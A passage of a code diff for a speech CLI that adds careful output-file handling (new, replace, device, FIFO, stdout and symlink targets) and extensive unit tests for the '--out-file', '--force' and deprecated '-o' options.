+    return Target(path, "special", fd=fd)
+
+
+def _parent_refusal(path: str) -> Refusal | None:
+    """A missing, non-directory or unwritable parent directory."""
+    parent = os.path.dirname(os.path.abspath(path))
+    try:
+        st = os.stat(parent)
+    except OSError as exc:
+        return Refusal("unwritable", exc)
+    if not stat.S_ISDIR(st.st_mode):
+        return Refusal("unwritable", _oserror(errno.ENOTDIR, parent))
+    if not os.access(parent, os.W_OK | os.X_OK):
+        return Refusal("unwritable", _oserror(errno.EACCES, parent))
+    return None
+
+
+def plan_target(path: str, *, overwrite: bool) -> Target | Refusal:
+    """Decide, before the request, how ``path`` will be written.
+
+    ``overwrite`` is ``--force`` for ``--out-file`` and always true for the
+    deprecated ``-o``, which keeps 0.4.0's overwrite.
+    """
+    try:
+        followed: os.stat_result | None = os.stat(path)
+    except OSError:
+        followed = None
+    if followed is not None:
+        err = _stderr_stat()
+        if err is not None and os.path.samestat(followed, err):
+            # Audio would be mixed with dg's own messages.
+            return Refusal("unwritable", OSError(errno.EINVAL, _STDERR, path))
+        out = stdout_stat()
+        if out is not None and os.path.samestat(followed, out):
+            return Target(path, "stdout", ident=(followed.st_dev, followed.st_ino))
+
+    try:
+        st = os.lstat(path)
+    except FileNotFoundError:
+        refusal = _parent_refusal(path)
+        return refusal or Target(path, "new")
+    except OSError as exc:
+        return Refusal("unwritable", exc)
+
+    # What the path names: the link's target for a symlink.
+    named = followed if stat.S_ISLNK(st.st_mode) else st
+    if named is not None and stat.S_ISDIR(named.st_mode):
+        return Refusal("unwritable", _oserror(errno.EISDIR, path))
+    if named is not None and _is_special(named.st_mode):
+        # /dev/null, a named pipe, or a link to one (/dev/stdout).
+        return _open_special(path, named)
+    if named is not None and not stat.S_ISREG(named.st_mode):
+        # A block device or a socket.
+        return Refusal("unwritable", OSError(errno.EINVAL, _NOT_SPECIAL, path))
+
+    # An existing regular file, or a symlink to one (or to nothing).
+    if not overwrite:
+        return Refusal("exists")
+    parent = os.path.dirname(os.path.abspath(path))
+    if parent == "/dev/fd" or _FD_DIR.fullmatch(os.path.realpath(parent)):
+        return Refusal("unwritable", OSError(errno.EINVAL, _FD_PATH, path))
+    # Permission bits only: never setuid, setgid or sticky.
+    keep = None if stat.S_ISLNK(st.st_mode) else stat.S_IMODE(st.st_mode) & 0o777
+    return _parent_refusal(path) or Target(path, "replace", mode=keep)
+
+
+class AudioFile:
+    """An audio file opened on the first chunk and removed on failure.
+
+    ``write`` raises :class:`WriteFailed` (or :class:`ReaderGone` for EPIPE)
+    so a failed write can't be mistaken for a failed request.
+    """
+
+    def __init__(self, target: Target) -> None:
+        self.target = target
+        self.bytes_written = 0
+        # A device or FIFO was opened (and checked) before the request.
+        self._fd: int | None = target.fd
+        self._tmp: str | None = None
+        self._created = False
+        self._done = False
+
+    @property
+    def path(self) -> str:
+        return self.target.path
+
+    @property
+    def is_stdout(self) -> bool:
+        return self.target.kind == "stdout"
+
+    @property
+    def opened(self) -> bool:
+        return self._fd is not None or (self.is_stdout and self._created)
+
+    def open(self) -> None:
+        """Create or open the file. Idempotent."""
+        if self.opened:
+            return
+        kind, path = self.target.kind, self.target.path
+        try:
+            if kind == "new":
+                with critical_section():
+                    try:
+                        fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o666)
+                    except FileExistsError as exc:
+                        raise Exists(path) from exc
+                    self._fd, self._created = fd, True
+            elif kind == "replace":
+                import tempfile
+
+                directory, name = os.path.split(os.path.abspath(path))
+                with critical_section():
+                    self._fd, self._tmp = tempfile.mkstemp(
+                        dir=directory, prefix=f".{name}.", suffix=".part"
+                    )
+            elif kind == "special":
+                raise OSError(errno.EBADF, _CHANGED, path)  # opened in plan
+            else:
+                self._check_stdout()
+        except (Exists, WriteFailed):
+            raise
+        except OSError as exc:
+            raise WriteFailed(exc, stdout=False) from exc
+
+    def _check_stdout(self) -> None:
+        """stdout must still be the file that was checked. The audio
+        goes to fd 1 itself; the path is never opened again."""
+        out = stdout_stat()
+        if out is None or (out.st_dev, out.st_ino) != self.target.ident:
+            # It changed since the check; don't write into it unasked.
+            raise Exists(self.target.path)
+        self._created = True
+
+    def write(self, data: bytes) -> None:
+        """Write ``data`` in full (opening the file first if needed)."""
+        if not data:
+            return
+        self.open()
+        if self.is_stdout:
+            out = sys.stdout.buffer
+            try:
+                out.write(data)
+                out.flush()
+            except BrokenPipeError as exc:
+                raise ReaderGone from exc
+            except OSError as exc:
+                raise WriteFailed(exc, stdout=True) from exc
+            self.bytes_written += len(data)
+            return
+        assert self._fd is not None
+        view = memoryview(data)
+        try:
+            while view:
+                n = os.write(self._fd, view)
+                view = view[n:]
+        except BrokenPipeError as exc:
+            raise ReaderGone from exc
+        except OSError as exc:
+            raise WriteFailed(exc, stdout=False) from exc
+        self.bytes_written += len(data)
+
+    def commit(self) -> None:
+        """Finish the file: close it, and put a temp file in place. Not
+        done until the rename succeeds; a failure removes what we made."""
+        if self._done:
+            return
+        with critical_section():
+            fd, self._fd = self._fd, None
+            try:
+                if fd is not None:
+                    try:
+                        if self._tmp is not None:
+                            # An existing file keeps its permission bits
+                            # ; a new file or a replaced symlink gets
+                            # 0666 & ~umask, as open() would.
+                            mode = self.target.mode
+                            os.fchmod(fd, 0o666 & ~_UMASK if mode is None else mode)
+                    finally:
+                        os.close(fd)
+                if self._tmp is not None:
+                    os.replace(self._tmp, self.target.path)
+                    self._tmp = None
+            except OSError as exc:
+                self.abort()
+                raise WriteFailed(exc, stdout=False) from exc
+            self._done = True
+
+    def abort(self) -> None:
+        """Close and remove whatever this run created. Never raises; safe
+        to call again, and a temp file is always removed."""
+        if self._done:
+            return
+        with critical_section():
+            fd, self._fd = self._fd, None
+            ours: os.stat_result | None = None
+            if fd is not None:
+                try:
+                    ours = os.fstat(fd)
+                except OSError:
+                    pass
+                try:
+                    os.close(fd)
+                except OSError:
+                    pass
+            if self._tmp is not None:
+                try:
+                    os.unlink(self._tmp)
+                except OSError:
+                    pass
+                self._tmp = None
+            elif self._created and self.target.kind == "new" and ours is not None:
+                # Only the file this run created: if the path now names
+                # another file (renamed or replaced meanwhile), leave it
+                # alone.
+                try:
+                    if os.path.samestat(os.lstat(self.target.path), ours):
+                        os.unlink(self.target.path)
+                except OSError:
+                    pass
+            self._done = True
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py
index 640d3bce..bc03c6e9 100644
--- a/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py
@@ -588,7 +588,7 @@ def test_handle_flux_rejects_non_raw_encoding(
         mock_sys.stdin.isatty.return_value = True
         mock_sys.stdout.isatty.return_value = True
 
-        with pytest.raises(click.ClickException, match="not supported for Flux"):
+        with pytest.raises(click.ClickException, match="Flux voices stream raw audio"):
             command.handle(
                 config=mock_config,
                 auth_manager=mock_auth_manager,
@@ -1734,7 +1734,8 @@ def test_handle_play_rejects_mp3_on_pcm_only_player(
 
         assert result is not None
         assert result.status == "error"
-        assert "cannot decode mp3" in result.message
+        assert "can't decode mp3" in result.message
+        assert "--out-file FILE" in result.message
         mock_client.speak_text.assert_not_called()
 
 
@@ -1819,7 +1820,8 @@ def test_check_playable_rejects_raw_audio(self):
             "ffplay", is_flux=False, encoding="linear16", container="none"
         )
         assert aura_raw is not None
-        assert "no container" in aura_raw
+        assert "can't tell its format" in aura_raw
+        assert "--out-file FILE" in aura_raw
 
     def test_check_playable_aplay_rejects_every_compressed_encoding(self):
         for encoding in ("mp3", "aac", "opus", "flac"):
@@ -1827,7 +1829,7 @@ def test_check_playable_aplay_rejects_every_compressed_encoding(self):
                 "aplay", is_flux=False, encoding=encoding, container=None
             )
             assert problem is not None
-            assert f"cannot decode {encoding}" in problem
+            assert f"can't decode {encoding}" in problem
             assert "linear16 (WAV)" in problem
 
     def test_check_playable_paplay_decodes_flac_and_ogg_but_not_mp3_or_aac(self):
@@ -1848,7 +1850,7 @@ def test_check_playable_paplay_decodes_flac_and_ogg_but_not_mp3_or_aac(self):
                 "paplay", is_flux=False, encoding=encoding, container=None
             )
             assert problem is not None
-            assert f"'paplay' cannot decode {encoding}" in problem
+            assert f"'paplay' can't decode {encoding}" in problem
             assert "flac" in problem and "opus" in problem
 
     def test_check_playable_ffplay_and_afplay_accept_every_compressed_encoding(self):
@@ -1936,3 +1938,15 @@ def test_speak_result_defaults(self):
         assert result.output_path == ""
         assert result.model == ""
         assert result.bytes_written == 0
+
+
+def test_help_names_the_file_options_value_file():
+    """--out-file and -o/--output take a FILE, and --help says so."""
+    from deepctl_cmd_speak.command import SpeakCommand
+    from deepctl_core import PluginManager
+
+    cmd = PluginManager()._create_click_command(SpeakCommand())
+    help_text = " ".join(cmd.get_help(click.Context(cmd)).split())
+    assert "--out-file FILE Save the audio to FILE." in help_text
+    assert "-o, --output FILE Deprecated: use --out-file." in help_text
+    assert "--out-file TEXT" not in help_text
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_imports.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_imports.py
index 9d5087ba..a02c5ac9 100644
--- a/packages/deepctl-cmd-speak/tests/unit/test_speak_imports.py
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_imports.py
@@ -44,6 +44,7 @@ def _env(tmp_path: Path) -> dict[str, str]:
     "module",
     [
         "deepctl_cmd_speak.command",
+        "deepctl_cmd_speak.sinks",
         "deepctl_cmd_speak.messages",
         "deepctl_cmd_speak.models",
     ],
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
new file mode 100644
index 00000000..53e85044
--- /dev/null
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
@@ -0,0 +1,1227 @@
+"""``--out-file``, ``--force`` and the deprecated ``-o``.
+
+The process-level checks (fake API request counts, a real ``/dev/stdout``)
+run in a Docker harness; these cover the logic.
+"""
+
+from __future__ import annotations
+
+import errno
+import os
+import shlex
+import stat
+import threading
+import time
+from pathlib import Path
+from typing import Any
+from unittest.mock import Mock, patch
+
+import pytest
+from deepctl_cmd_speak import command as speak
+from deepctl_cmd_speak import sinks
+from deepctl_cmd_speak.command import SpeakCommand
+from deepctl_cmd_speak.models import SpeakCodedError, SpeakResult
+from deepctl_core import AuthManager, Config, DeepgramClient
+
+
+class _Cut(Exception):
+    """Stands in for the SDK error a dropped connection raises."""
+
+
+def _stream(chunks: list[bytes], *, fail_after: bool = False, check=None):
+    for i, chunk in enumerate(chunks):
+        if check is not None:
+            check(i)
+        yield chunk
+    if fail_after:
+        raise _Cut("connection reset")
+
+
+def _run(cmd: SpeakCommand, client: Mock, **kwargs: Any):
+    base: dict[str, Any] = {
+        "text": "Hello",
+        "output": None,
+        "out_file": None,
+        "force": False,
+        "model": "aura-2-asteria-en",
+        "encoding": None,
+        "container": None,
+        "sample_rate": None,
+        "file": None,
+    }
+    base.update(kwargs)
+    planned = cmd.pre_auth_check(Mock(spec=Config), **base)
+    if planned is not None:
+        return planned
+    return cmd.handle(
+        config=Mock(spec=Config),
+        auth_manager=Mock(spec=AuthManager),
+        client=client,
+        **base,
+    )
+
+
+@pytest.fixture(autouse=True)
+def _env(monkeypatch, tmp_path):
+    monkeypatch.chdir(tmp_path)
+    monkeypatch.setattr(speak, "_deprecation_shown", False)
+    monkeypatch.setattr(speak, "_agentic", False)
+    monkeypatch.setattr(speak, "is_ai_agent", lambda: False)
+    # stdout is "a pipe" unless a test says otherwise.
+    monkeypatch.setattr(sinks, "stdout_stat", lambda: None)
+    # The signal guard re-delivers a signal after _CLOSE_TIMEOUT_S if the
+    # run is still unwinding. A loaded test host must never get there by
+    # accident: a timer that fired after the guard restored SIG_DFL would
+    # end pytest itself. The one test of the timer sets its own value.
+    monkeypatch.setattr(speak, "_SIGNAL_GRACE_S", 600.0)
+    import signal
+
+    getsignal = signal.getsignal  # the real one, even if a test patches it
+    watched = [getattr(signal, n) for n in ("SIGINT", "SIGTERM", "SIGHUP")]
+    handlers = {sig: getsignal(sig) for sig in watched}
+    old = os.umask(0o022)
+    yield
+    os.umask(old)
+    # No test may leave a signal handler, a section or a deferred signal.
+    assert {sig: getsignal(sig) for sig in watched} == handlers
+    assert sinks._critical == 0
+    assert not sinks._deferred
+
+
+@pytest.fixture
+def fake_sys():
+    with patch("deepctl_cmd_speak.command.sys") as mock_sys:
+        mock_sys.stdin.isatty.return_value = True
+        mock_sys.stdout.isatty.return_value = False
+        mock_sys.argv = ["dg", "speak", "Hello"]
+        yield mock_sys
+
+
+@pytest.fixture
+def client():
+    return Mock(spec=DeepgramClient)
+
+
+# ── plan_target (before the request) ────────────────────────────────────
+
+
+class TestPlanTarget:
+    def test_missing_file_in_existing_dir_is_new(self, tmp_path):
+        assert sinks.plan_target(str(tmp_path / "a.wav"), overwrite=False) == (
+            sinks.Target(str(tmp_path / "a.wav"), "new")
+        )
+
+    def test_existing_regular_file_is_refused_without_overwrite(self, tmp_path):
+        f = tmp_path / "a.wav"
+        f.write_bytes(b"old")
+        assert sinks.plan_target(str(f), overwrite=False) == sinks.Refusal("exists")
+        assert sinks.plan_target(str(f), overwrite=True).kind == "replace"
+
+    @pytest.mark.parametrize("dangling", [False, True])
+    def test_symlink_is_refused_without_overwrite(self, tmp_path, dangling):
+        link = tmp_path / "a.wav"
+        target = tmp_path / "elsewhere.wav"
+        if not dangling:
+            target.write_bytes(b"precious")
+        link.symlink_to(target)
+        assert sinks.plan_target(str(link), overwrite=False) == sinks.Refusal("exists")
+        assert sinks.plan_target(str(link), overwrite=True).kind == "replace"
+
+    def test_directory_is_unwritable(self, tmp_path):
+        refusal = sinks.plan_target(str(tmp_path), overwrite=True)
+        assert isinstance(refusal, sinks.Refusal)
+        assert refusal.reason == "unwritable"
+        assert refusal.error.errno == errno.EISDIR
+
+    def test_missing_parent_is_unwritable(self, tmp_path):
+        refusal = sinks.plan_target(str(tmp_path / "nope" / "a.wav"), overwrite=False)
+        assert refusal.reason == "unwritable"
+        assert refusal.error.errno == errno.ENOENT
+
+    def test_parent_that_is_a_file_is_unwritable(self, tmp_path):
+        (tmp_path / "f").write_text("x")
+        refusal = sinks.plan_target(str(tmp_path / "f" / "a.wav"), overwrite=False)
+        assert refusal.reason == "unwritable"
+
+    @pytest.mark.skipif(os.geteuid() == 0, reason="root ignores permissions")
+    def test_unwritable_parent_is_unwritable(self, tmp_path):
+        d = tmp_path / "ro"
+        d.mkdir()
+        d.chmod(0o555)
+        try:
+            refusal = sinks.plan_target(str(d / "a.wav"), overwrite=False)
+            assert refusal.reason == "unwritable"
+            assert refusal.error.errno == errno.EACCES
+        finally:
+            d.chmod(0o755)
+
+    def test_character_device_is_special_and_opened_now(self):
+        target = sinks.plan_target(os.devnull, overwrite=False)
+        assert target.kind == "special"
+        assert target.fd is not None
+        assert os.get_blocking(target.fd)  # O_NONBLOCK cleared for the writes
+        os.close(target.fd)
+
+    def test_fifo_with_a_reader_is_special(self, tmp_path):
+        fifo = tmp_path / "f"
+        os.mkfifo(fifo)
+        reader = os.open(fifo, os.O_RDONLY | os.O_NONBLOCK)
+        try:
+            target = sinks.plan_target(str(fifo), overwrite=False)
+            assert target.kind == "special"
+            os.close(target.fd)
+        finally:
+            os.close(reader)
+
+    def test_fifo_with_no_reader_is_refused_not_waited_on(self, tmp_path):
+        """An open() that would block until a reader comes is ENXIO."""
+        fifo = tmp_path / "f"
+        os.mkfifo(fifo)
+        refusal = sinks.plan_target(str(fifo), overwrite=False)
+        assert refusal.reason == "unwritable"
+        assert refusal.error.errno == errno.ENXIO
+        assert refusal.error.strerror == "no program is reading from that pipe"
+
+    def test_socket_is_refused(self, tmp_path):
+        """Only character devices and FIFOs are written as they are."""
+        import socket
+
+        path = tmp_path / "s"
+        sock = socket.socket(socket.AF_UNIX)
+        sock.bind(str(path))
+        try:
+            refusal = sinks.plan_target(str(path), overwrite=True)
+            assert refusal.reason == "unwritable"
+            assert refusal.error.strerror == (
+                "it isn't a file, a pipe or a device like /dev/null"
+            )
+        finally:
+            sock.close()
+
+    def test_symlink_to_a_device_is_special(self, tmp_path):
+        link = tmp_path / "a.wav"
+        link.symlink_to(os.devnull)
+        target = sinks.plan_target(str(link), overwrite=False)
+        assert target.kind == "special"
+        os.close(target.fd)
+
+    def test_special_path_swapped_before_the_open_is_refused(
+        self, tmp_path, monkeypatch
+    ):
+        """The opened file must be the device that was checked."""
+        victim = tmp_path / "victim"
+        victim.write_bytes(b"VICTIM")
+        link = tmp_path / "a.wav"
+        link.symlink_to(os.devnull)
+        real_open = os.open
+
+        def swap_then_open(path, flags, *a):
+            if str(path) == str(link):
+                link.unlink()
+                link.symlink_to(victim)
+            return real_open(path, flags, *a)
+
+        monkeypatch.setattr(sinks.os, "open", swap_then_open)
+        refusal = sinks.plan_target(str(link), overwrite=False)
+        assert refusal.reason == "unwritable"
+        assert refusal.error.strerror == "something replaced it before writing started"
+        assert victim.read_bytes() == b"VICTIM"
+
+    def test_replace_keeps_the_old_mode(self, tmp_path):
+        f = tmp_path / "a.wav"
+        f.write_bytes(b"old")
+        f.chmod(0o600)
+        assert sinks.plan_target(str(f), overwrite=True).mode == 0o600
+
+    def test_replace_of_a_symlink_has_no_mode_to_keep(self, tmp_path):
+        (tmp_path / "t").write_bytes(b"x")
+        (tmp_path / "a.wav").symlink_to("t")
+        assert sinks.plan_target(str(tmp_path / "a.wav"), overwrite=True).mode is None
+
+    def test_same_file_as_stdout_is_stdout(self, tmp_path, monkeypatch):
+        f = tmp_path / "out.wav"
+        f.write_bytes(b"")
+        monkeypatch.setattr(sinks, "stdout_stat", lambda: os.stat(f))
+        # Even an existing regular file: it's stdout, not an overwrite.
+        assert sinks.plan_target(str(f), overwrite=False).kind == "stdout"
+
+
+# ── AudioFile (at and after the first chunk) ────────────────────────────
+
+
+class TestAudioFile:
+    def test_new_file_appears_on_first_write_with_umask_mode(self, tmp_path):
+        path = tmp_path / "a.wav"
+        out = sinks.AudioFile(sinks.Target(str(path), "new"))
+        assert not path.exists()
+        out.write(b"abc")
+        assert path.exists()
+        out.commit()
+        assert path.read_bytes() == b"abc"
+        assert stat.S_IMODE(path.stat().st_mode) == 0o644
+
+    def test_abort_removes_the_partial_file(self, tmp_path):
+        path = tmp_path / "a.wav"
+        out = sinks.AudioFile(sinks.Target(str(path), "new"))
+        out.write(b"abc")
+        out.abort()
+        assert not path.exists()
+
+    def test_o_excl_race_raises_exists_and_leaves_their_file(self, tmp_path):
+        path = tmp_path / "a.wav"
+        out = sinks.AudioFile(sinks.Target(str(path), "new"))
+        path.write_bytes(b"theirs")  # created between the check and the open
+        with pytest.raises(sinks.Exists):
+            out.write(b"abc")
+        out.abort()
+        assert path.read_bytes() == b"theirs"
+
+    def test_replace_writes_a_0600_temp_then_replaces(self, tmp_path):
+        path = tmp_path / "a.wav"
+        path.write_bytes(b"old")
+        out = sinks.AudioFile(sinks.Target(str(path), "replace"))
+        out.write(b"new")
+        temps = [p for p in tmp_path.iterdir() if p.name.endswith(".part")]
+        assert len(temps) == 1
+        assert stat.S_IMODE(temps[0].stat().st_mode) == 0o600
+        assert path.read_bytes() == b"old"  # untouched until commit
+        out.commit()
+        assert path.read_bytes() == b"new"
+        assert stat.S_IMODE(path.stat().st_mode) == 0o666 & ~sinks._UMASK
+        assert [p.name for p in tmp_path.iterdir()] == ["a.wav"]
+
+    def test_replace_swaps_a_symlink_and_leaves_its_target(self, tmp_path):
+        target = tmp_path / "precious.txt"
+        target.write_bytes(b"precious")
+        link = tmp_path / "a.wav"
+        link.symlink_to(target)
+        out = sinks.AudioFile(sinks.Target(str(link), "replace"))
+        out.write(b"audio")
+        out.commit()
+        assert not link.is_symlink()
+        assert link.read_bytes() == b"audio"
+        assert target.read_bytes() == b"precious"
+
+    def test_replace_keeps_a_0600_file_0600(self, tmp_path):
+        """Replacing doesn't widen an existing file's mode."""
+        path = tmp_path / "a.wav"
+        path.write_bytes(b"old")
+        path.chmod(0o600)
+        out = sinks.AudioFile(sinks.plan_target(str(path), overwrite=True))
+        out.write(b"new")
+        out.commit()
+        assert path.read_bytes() == b"new"
+        assert stat.S_IMODE(path.stat().st_mode) == 0o600
+
+    def test_abort_leaves_a_file_that_replaced_ours(self, tmp_path):
+        """Only the file this run created is removed."""
+        path = tmp_path / "a.wav"
+        out = sinks.AudioFile(sinks.Target(str(path), "new"))
+        out.write(b"partial")
+        path.unlink()
+        path.write_bytes(b"theirs")
+        out.abort()
+        assert path.read_bytes() == b"theirs"
+
+    def test_failed_replace_keeps_the_old_file(self, tmp_path):
+        path = tmp_path / "a.wav"
+        path.write_bytes(b"old")
+        out = sinks.AudioFile(sinks.Target(str(path), "replace"))
+        out.write(b"partial")
+        out.abort()
+        assert path.read_bytes() == b"old"
+        assert [p.name for p in tmp_path.iterdir()] == ["a.wav"]
+
+    def test_write_error_is_write_failed(self, tmp_path, monkeypatch):
+        path = tmp_path / "a.wav"
+        out = sinks.AudioFile(sinks.Target(str(path), "new"))
+
+        def full(fd, data):
+            raise OSError(errno.ENOSPC, "No space left on device")
+
+        monkeypatch.setattr(sinks.os, "write", full)
+        with pytest.raises(sinks.WriteFailed) as info:
+            out.write(b"abc")
+        assert info.value.error.errno == errno.ENOSPC
+        assert info.value.stdout is False
+
+    def test_special_file_is_not_removed(self, tmp_path):
+        fifo_like = sinks.AudioFile(sinks.plan_target(os.devnull, overwrite=False))
+        fifo_like.write(b"abc")
+        fifo_like.abort()
+        assert os.path.exists(os.devnull)
+
+    def test_nothing_written_means_nothing_created(self, tmp_path):
+        path = tmp_path / "a.wav"
+        out = sinks.AudioFile(sinks.Target(str(path), "new"))
+        out.write(b"")
+        out.abort()
+        assert not path.exists()
+
+
+# ── The command: checks before the request ──────────────────────────────
+
+
+class TestPreRequest:
+    def test_existing_out_file_is_refused_with_no_request(self, fake_sys, client):
+        Path("a.wav").write_bytes(b"old")
+        cmd = SpeakCommand()
+        result = _run(cmd, client, out_file="a.wav")
+        assert isinstance(result, SpeakCodedError)
+        assert result.code == "invalid_argument"
+        assert result.error == "a.wav already exists; dg won't overwrite it."
+        assert result.hint == "Choose a new file name, or pass --force to overwrite."
+        assert result.next_step is None
+        client.speak_text.assert_not_called()
+        client.speak_text_stream.assert_not_called()
+        assert Path("a.wav").read_bytes() == b"old"
+
+    def test_existing_symlink_is_refused(self, fake_sys, client):
+        Path("t").write_bytes(b"precious")
+        Path("a.wav").symlink_to("t")
+        result = _run(SpeakCommand(), client, out_file="a.wav")
+        assert result.code == "invalid_argument"
+        client.speak_text.assert_not_called()
+
+    def test_force_replaces_the_file(self, fake_sys, client):
+        Path("a.wav").write_bytes(b"old")
+        client.speak_text.return_value = _stream([b"ne", b"w"])
+        result = _run(SpeakCommand(), client, out_file="a.wav", force=True)
+        assert isinstance(result, SpeakResult)
+        assert result.output_path == "a.wav"
+        assert result.bytes_written == 3
+        assert Path("a.wav").read_bytes() == b"new"
+
+    def test_force_replaces_a_symlink_not_its_target(self, fake_sys, client):
+        Path("t").write_bytes(b"precious")
+        Path("a.wav").symlink_to("t")
+        client.speak_text.return_value = _stream([b"audio"])
+        _run(SpeakCommand(), client, out_file="a.wav", force=True)
+        assert not Path("a.wav").is_symlink()
+        assert Path("a.wav").read_bytes() == b"audio"
+        assert Path("t").read_bytes() == b"precious"
+
+    def test_missing_parent_is_output_unwritable_with_no_request(
+        self, fake_sys, client
+    ):
+        result = _run(SpeakCommand(), client, out_file="nope/a.wav")
+        assert isinstance(result, SpeakCodedError)
+        assert result.code == "output_unwritable"
+        assert result.next_step is None
+        assert result.details["path"] == "nope/a.wav"
+        assert result.details["reason"] == os.strerror(errno.ENOENT)
+        client.speak_text.assert_not_called()
+
+    def test_directory_target_is_output_unwritable(self, fake_sys, client):
+        Path("d").mkdir()
+        result = _run(SpeakCommand(), client, out_file="d")
+        assert result.code == "output_unwritable"
+        assert result.details["reason"] == os.strerror(errno.EISDIR)
+
+    def test_out_file_and_o_conflict(self, fake_sys, client, capsys):
+        cmd = SpeakCommand()
+        result = _run(cmd, client, out_file="a.wav", output="b.wav")
+        assert result.code == "invalid_argument"
+        assert result.error == (
+            "Use either --out-file or -o/--output for the audio file, not both."
+        )
+        assert result.next_step == "dg speak --help"
+        assert "DEPRECATED" not in capsys.readouterr().err
+        client.speak_text.assert_not_called()
+
+    @pytest.mark.parametrize("value", ["json", "yaml", "table", "csv", "JSON"])
+    def test_o_format_value_is_refused_with_a_runnable_next_step(
+        self, fake_sys, client, monkeypatch, value
+    ):
+        monkeypatch.setattr(
+            speak,
+            "_argv",
+            lambda: ["--profile", "work", "speak", "Q&A at 5", "-o", value],
+        )
+        result = _run(SpeakCommand(), client, output=value, text="Q&A at 5")
+        assert result.code == "invalid_argument"
+        assert result.error == (
+            f"dg speak -o is the audio file name, so -o {value} would write a "
+            f"file named {value}."
+        )
+        ns = result.next_step
+        assert ns is not None
+        assert shlex.join(shlex.split(ns)) == ns
+        tokens = shlex.split(ns)
+        assert tokens[:6] == ["dg", "--profile", "work", "-o", value, "speak"]
+        assert tokens[6:8] == ["Q&A at 5", "--out-file"]
+        assert tokens[8].startswith("speech-") and tokens[8].endswith(".mp3")
+        assert len(tokens) == 9
+        client.speak_text.assert_not_called()
+
+    def test_o_text_points_at_out_file(self, fake_sys, client, monkeypatch):
+        """There's no root text format: the fix drops -o and adds --out-file."""
+        monkeypatch.setattr(speak, "_argv", lambda: ["-q", "speak", "hi", "-o", "text"])
+        result = _run(SpeakCommand(), client, output="text", text="hi")
+        assert result.code == "invalid_argument"
+        assert result.error == (
+            "dg speak -o text would write the audio to a file named text."
+        )
+        assert result.hint == (
+            "Pass --out-file FILE to save the audio. There's no text output format."
+        )
+        tokens = shlex.split(result.next_step)
+        assert tokens[:5] == ["dg", "-q", "speak", "hi", "--out-file"]
+        assert tokens[5].startswith("speech-") and len(tokens) == 6
+        client.speak_text.assert_not_called()
+
+    def test_o_text_next_step_is_null_with_a_key_on_argv(
+        self, fake_sys, client, monkeypatch
+    ):
+        monkeypatch.setattr(
+            speak, "_argv", lambda: ["-k", "sk_sentinel", "speak", "hi", "-o", "text"]
+        )
+        result = _run(SpeakCommand(), client, output="text", text="hi")
+        assert result.error.startswith("dg speak -o text")
+        assert result.next_step is None
+
+    def test_o_format_next_step_is_null_with_a_key_on_argv(
+        self, fake_sys, client, monkeypatch
+    ):
+        monkeypatch.setattr(
+            speak,
+            "_argv",
+            lambda: ["--api-key", "sk_sentinel", "speak", "hi", "-o", "json"],
+        )
+        result = _run(SpeakCommand(), client, output="json", text="hi")
+        assert result.next_step is None
+        assert "sk_sentinel" not in result.model_dump_json()
+
+    def test_o_file_is_deprecated_once_and_overwrites(
+        self, fake_sys, client, capsys, monkeypatch
+    ):
+        Path("a.wav").write_bytes(b"old")
+        client.speak_text.side_effect = lambda **_: _stream([b"new"])
+        cmd = SpeakCommand()
+        _run(cmd, client, output="a.wav")
+        _run(cmd, client, output="a.wav")
+        err = capsys.readouterr().err
+        assert err.count("Deprecated:") == 1
+        assert (
+            "dg speak -o/--output FILE will set the output format in 1.0. Use "
+            "--out-file FILE instead (add --force to overwrite, as -o does)." in err
+        )
+        assert Path("a.wav").read_bytes() == b"new"
+
+    def test_deprecation_prints_under_quiet_in_agent_grammar(
+        self, fake_sys, client, capsys, monkeypatch
+    ):
+        from deepctl_core import output
+
+        monkeypatch.setattr(speak, "_agentic", True)
+        monkeypatch.setitem(output._output_config, "quiet", True)
+        client.speak_text.return_value = _stream([b"new"])
+        _run(SpeakCommand(), client, output="a.wav")
+        lines = [
+            ln for ln in capsys.readouterr().err.splitlines() if "DEPRECATED" in ln
+        ]
+        assert lines == [
+            "DEPRECATED: dg speak -o/--output FILE will set the output format "
+            "in 1.0. Use --out-file FILE instead (add --force to overwrite, as "
+            "-o does)."
+        ]
+
+    @pytest.mark.parametrize("fmt", ["json", "yaml"])
+    def test_f1_with_explicit_json_is_refused(self, fake_sys, client, monkeypatch, fmt):
+        f = Path("out.wav")
+        f.write_bytes(b"")
+        monkeypatch.setattr(sinks, "stdout_stat", lambda: os.stat(f))
+        monkeypatch.setattr(speak, "get_output_format", lambda: fmt)
+        monkeypatch.setattr(speak, "format_source", lambda: "explicit")
+        result = _run(SpeakCommand(), client, out_file="out.wav")
+        assert result.code == "invalid_argument"
+        name = fmt.upper()
+        assert result.error == (
+            "dg speak would write the audio to stdout, so there's no room for "
+            f"the {name} result."
+        )
+        assert result.hint == (
+            f"Give --out-file a different file from stdout, or don't ask for "
+            f"{name} output."
+        )
+        assert result.next_step == "dg speak --help"
+        client.speak_text.assert_not_called()
+
+    def test_f1_with_implicit_json_writes_audio_only(
+        self, fake_sys, client, monkeypatch, capsys
+    ):
+        f = Path("out.wav")
+        f.write_bytes(b"")
+        monkeypatch.setattr(sinks, "stdout_stat", lambda: os.stat(f))
+        monkeypatch.setattr(speak, "get_output_format", lambda: "json")
+        monkeypatch.setattr(speak, "format_source", lambda: "hard_agent")
+        monkeypatch.setattr(speak, "_agentic", True)
+        written: list[bytes] = []
+        stdout = Mock()
+        stdout.write.side_effect = written.append
+        monkeypatch.setattr(sinks.sys, "stdout", Mock(buffer=stdout))
+        client.speak_text.return_value = _stream([b"RIFF", b"data"])
+
+        cmd = SpeakCommand()
+        result = _run(cmd, client, out_file="out.wav")
+
+        assert result is None  # no document after the audio
+        assert cmd.stdout_is_protocol is True
+        assert written == [b"RIFF", b"data"]
+        assert "OK: Wrote 8 bytes to stdout" in capsys.readouterr().err
+
+
+# ── The command: no file on any error ───────────────────────────────────
+
+
+class TestNoPartialFile:
+    def test_request_error_leaves_no_file(self, fake_sys, client):
